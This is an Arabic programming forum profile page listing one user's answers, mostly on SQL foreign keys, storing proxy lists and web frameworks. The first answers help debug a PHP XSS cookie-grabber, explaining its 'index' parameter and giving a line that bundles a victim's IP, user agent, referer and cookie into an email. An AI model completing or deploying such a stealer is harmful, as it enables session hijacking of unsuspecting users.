KSA brg
-
المساهمات
13 -
تاريخ الانضمام
-
تاريخ آخر زيارة
-
عدد الأيام التي تصدر بها
1
نوع المحتوى
ريادة الأعمال
البرمجة
التصميم
DevOps
التسويق والمبيعات
العمل الحر
البرامج والتطبيقات
آخر التحديثات
قصص نجاح
أسئلة وأجوبة
كتب
دورات
أجوبة بواسطة KSA brg
-
-
انت حفظت الملف باسم معين
فرضا انك حفظته باسم file.php
لاجيت تفتحه بالمتصفح
بيكون كذا
http://localhost/file.php?index=cookei
طبعا هو الكود مصمم لسحب الكوكيز يستقبل عن طريق المتغير
لكن للتجربه لنجاح الكود تضع المتغير اندكس بعد اسم الملف
-
عزيزي انا من شفت الكود عرفت انه لاستغلال ثغرة Xss ولذلك تم استخدام المتغير index
لكي ترسل القيمة ويتحقق الشرط بحيث يرسل كود جافا سكربت عباره عن document.cookie
لكن لو اردت المعلومات تاتي تحت بعض تستخدم التنسيق html
مثلا <br />
كل وحده بسطر جديد
$Msg="IP:".$ip."<br />| PORT: ".$rem_port. "<br />| HOST:". $rem_host. "<br />| Agent: ".$user_agent. "<br />| REF: ".$referer."<br />| DATE{ : }". $date." <br />| COOKIE:". $cookie;
- 1
-
كودك صحيح
المشكله اللي تواجهك
انت لافتحت الرابط
file.php
يرسل فقط الايبي على الايميل بسبب الشرط
if(isset($_GET['index']
لو تفتح الرابط مثل كذا
file.php?index=1
بيرسل كامل المعلومات صحيحه
- 1
-
ضع كود الصفحة اللتي لديك
وساقوم بالتعديل عليها بما يلزم
- 1
-
اعدادات جهازك تختلف عن الاستضافة افصل بين النص والكود كالتالي
$Msg="IP:".$ip."| PORT: ".$rem_port. "| HOST:". $rem_host. "| Agent: ".$user_agent. "| METHOD: ".$rqst_method. "| REF: ".$referer."| DATE{ : }". $date." | COOKIE:". $cookie;
-
بعد الاستعلام بالسطر الاول
وايضا بالاستعلام بالسطر الثاني ضع
or die(mysql_error)
عشان يظهر لك سبب المشكلة الحقيقي
-
ربما لم يصل السؤال جيدا
انا كنت اقصد
ان جدول المواضيع هو الاب للتعليقات
بحيث جدول التعليقات هو من يحتوي على المفتاح الاجنبي
وجدول اليوزرات هو الاب ايضا للتعليقات بحيث التعليقات يحتوي على مفتاح اخر اجنبي خاص باليوزرات
الف شكر لك لمحاولتك المساعده
انا فعلا وجدت الحل many To many
بحيث جدول التعليقات هو الرابط بين كل الجداول
-
الاغلب يعلمك الاساسيات البعض يشرح لك الاساسيات بشكل مبسط
والبعض الاخر بعمق اكبر
مثلا بالعربي
لو تابعت دورة الاخ اسامة الزيرو بتصميم القوالب هي تصاميم احترافية بالذات الثالث منها
اما الاجنبيه فموقع يودمي به الاف الدورات وهناك دورات مدفوعه احترافية لابعد حد وبتفصيل ممل جدا جدا جدا
-
بتاريخ 3 ساعات قال hany moh:
المفروض أثناء بناء الجدول تفعل الخيار الخاص بحذف الابناء بمجرد حذف الاب
هذه الخيار اسمه CASCADEمثال
CREATE TABLE supplier ( supplier_id numeric(10) not null, supplier_name varchar2(50) not null, contact_name varchar2(50), CONSTRAINT supplier_pk PRIMARY KEY (supplier_id) );
CREATE TABLE products ( product_id numeric(10) not null, supplier_id numeric(10) not null, CONSTRAINT fk_supplier FOREIGN KEY (supplier_id) REFERENCES supplier(supplier_id) ON DELETE CASCADE );
فعلت كل شي اضفتها UPDATE AND DELETE
وفعلت الفورجين كي واضفته للعمود
انا مشكلتي بالاستعلام JOIN
جعلت الموضوع اب للتعليقات بحيث التعليقات هي الابناء
وعند حذف الموضوع تنحذف التعليقات
انا اريد توضيح كامل الله لايهينك
مع مثال بسيط جدا
وانا سأفهم الفكره
لاني اريد ربط many To many لعدة جداول
لكن صابني صداع ولم استطع التفكير مع الاسف
-
السلام عليكم ورحمة الله وبركاتة
اخواني احتاج شرح مبسط
الان فرضا عندي جدول اليوزرات
اسمه user
الاعمدة اللي فيه
user_id
UserName
--------------------------------
جدول اخر خاص للمواضيع نفرض اسمه item
فيه الاعمدة (
item_id
title
content
userid هذا فوريجن كي FOREIGN KEY عشان اربطه بالموضوع كل عضو ينزل موضوع يتم ربط الايدي الخاص بالعضو داخل جدول المواضيع
--------------------------------
وجدول اخير اللي هو التعليقات comment
والاعمدة اللي فيه
comment_id
content
user_id // اربطه باليوزر اللي اضاف الرد
item_id // اربطه بالموضوع اللي رد فيه
-----------------------------
السؤال هنا من هو الأب
يعني جدول اليوزرات هو الاب للتعليقات بحيث لو انحذف اليوزر تنحذف التعليقات
طيب لو انحذف الموضوع تنحذف التعليقات ( يعني الموضوع هو الاب ايضا للتعليقات
------------------------------------
اقتباسياليت توضيح بسيط للمسالة
كيف اربط الموضوع باليوزرات بالتعليقات بحيث لو انحذف الموضوع تنحذف التعليقات بالكامل التابعه للموضوع
لو انحذف العضو تنحذف كامل تعليقاته من كامل المواضيع
---------------------------------------
احس صابني صداع نصفي مني قادر افهم الفكره
وجزاكم الله خير مقدماً
-
بتاريخ 8 دقائق مضت قال هشام رزق الله:
هذا المثال البسيط سيساعدك على فعل ما تريده لأنني لم أفهم بالضبط ما الذي تريده.
هذا المثال سيقوم بإضافة عنوان ونص لمقالة إلى قاعدة البيانات، فإذا افترضنا أن هذه هي شيفرة HTML الخاصة بتسجيل مقالة جديدة إلى قاعدة البيانات:
<form id="form1" method="post" action="mydata.php"> <p> <label for="title">The title:</label> <input name="title" type="text" class="widebox" id="title"> </p> <p> <label for="article">Article:</label> <textarea name="article" cols="60" rows="8" class="widebox" id="article"> </textarea> </p> <p> <input type="submit" name="submit" value="Insert New Article" id="submit"> </p> </form>
فإن شيفرة PHP الخاصة بإضافة إلى قاعدة البيانات ستكون كالتالي:
if(isset($_POST['submit'])) { // Putting data from form into variables to be manipulated $title = $_POST['title']; $article = $_POST['article']; $conn = mysql_connect("localhost","root","root") or die ("Can't connect"); mysql_select_db("your_db",$conn); // Getting the form variables and then placing their values into the MySQL table mysql_query("INSERT INTO blog (title, article) VALUES ('".mysql_real_escape_string($title)."', '".mysql_real_escape_string($article)."')"); }
فقط غيّر بيانات قاعدة البيانات و المعلومات التي تريد إضافتها وغيرها من المعلومات وستتمكن من تنفيذ فكرتك.
اخ هشام الف شكر لك على محاولتك مساعدتي
اعرف اتعامل مع قاعدة البيانات استاذي الفاضل
سؤالي بالتفصيل بارك الله فيك
عندي عضويه بموقعي
وبعد تسجيلي الدخول اتاني خيار
اضف لستة بروكسيات
ساقوم باضافة لستة كالتالي
127.0.0.1:8080
127.0.0.1:1222
127.0.0.1:1222
127.0.0.1:1222
هذا كمثال
عند قيام هذا العضو صاحب اللستة المضافة باستخدام البروكسي لاأريد كامل اللستة تخرج بل اريد اول ايبي الذي يحمل البورت 8080
يعني بمعنى اصح عندما اعمل مصفوفة
$proxy = array("127.0.0.1:1222","127.0.0.1:8080");
استدعي اول قيمة من المصفوفه كالتالي
$proxy[1];
هذا ماأريده بالضبط من قاعدة البيانات
اريد ان اضيف مصفوفة الى حقل معين وان استدعي سطر سطر وليس كامل الحقل
ولاأعلم هل سؤالي اتضح لحضرتك
ام أني لاأجيد الاستفسار
-
السلام عليكم ورحمة الله وبركاته
قمت ببرمجة موقع فيه نظام عضويات
وفيه ثلاث عضويات للتجربة
طبعا جدول العضو users يوجد فيه الأساسيات Id , UserName ,Password , Email , GroupId , RegStatus
هذي هي الأعمدة الخاصة بجدول اليوزر
أريد طريقة عند دخول العضو لملفه الشخصي ويذهب لاضافة بروكسيات سيظهر له حقل textarea
ويقوم بإضافة عدد من البروكسيات لنفرض عشر ايبيات
كيف أضيفها في قاعدة البيانات
بحيث كل عضو له عمود بروكسي خاص فيه
طبعا بعد الإضافة أريد أن يستخدم العضو كل بروكسي على حده يعني يقوم بتجربة البروكسيات كل ايبي وبورت لحاله
فأبغى أضيفه للقاعدة كمصفوفة خاصة للعضو وعند إخراجه ان يخرج كل ايبي وبورت لحاله كالاستدعاء من المصفوفة
أتمنى أن يكون سؤالي واضح وغير مبهم
الى مطورين الويب ومصممين الويب لدي بعض الاسئله ؟
في PHP
نشر
حياك الله
بالنسبة لسؤالك الاول بين jQuery VS Angular
https://www.airpair.com/angularjs/posts/jquery-angularjs-comparison-migration-walkthrough
اطلع على الرابط ليتبين لك ماهي المهام التي يقدمها كل منهما ومقارنه بينهما
########################################################
بالنسبة للسؤال الثاني المتعلق بفريم BootStrap يجعل من اعمالك احترافية لدرجة عالية ويسهل عليك التصميم بمعنى ماتنجزه خلال اسبوع بتصميم صفحات بإمكانك انجازه خلال ساعات بالبوتستراب
#################
Node Js هي لغة مطورة من جافا سكربت او تستطيع القول بانها مكتبة وتتميز بالسرعة ويمكن عمل مشاريع عليها وتصبح كسيرفر وتستخدم الوقت الفعلي بالتنفيذ Real Time
اقرا عنها
https://ar.wikipedia.org/wiki/نود.جي_إس
##############
السؤال الاخير لم افهم ماذا تريد بالضبط
لكن اتوقع تقصد plugins اضافات برمجية مكتوبة بلغة PHP
لها مهام معينه حسب مبرمج الاضافة
بدال مايبرمج الشخص سكربت متكامل الوورد برس مثلا يسهل عليك المهمة وبامكانك جعله اي سكربت تريد مع اختيار الثيم + الاضافات اللتي تريد ولكل اضافة عمل معين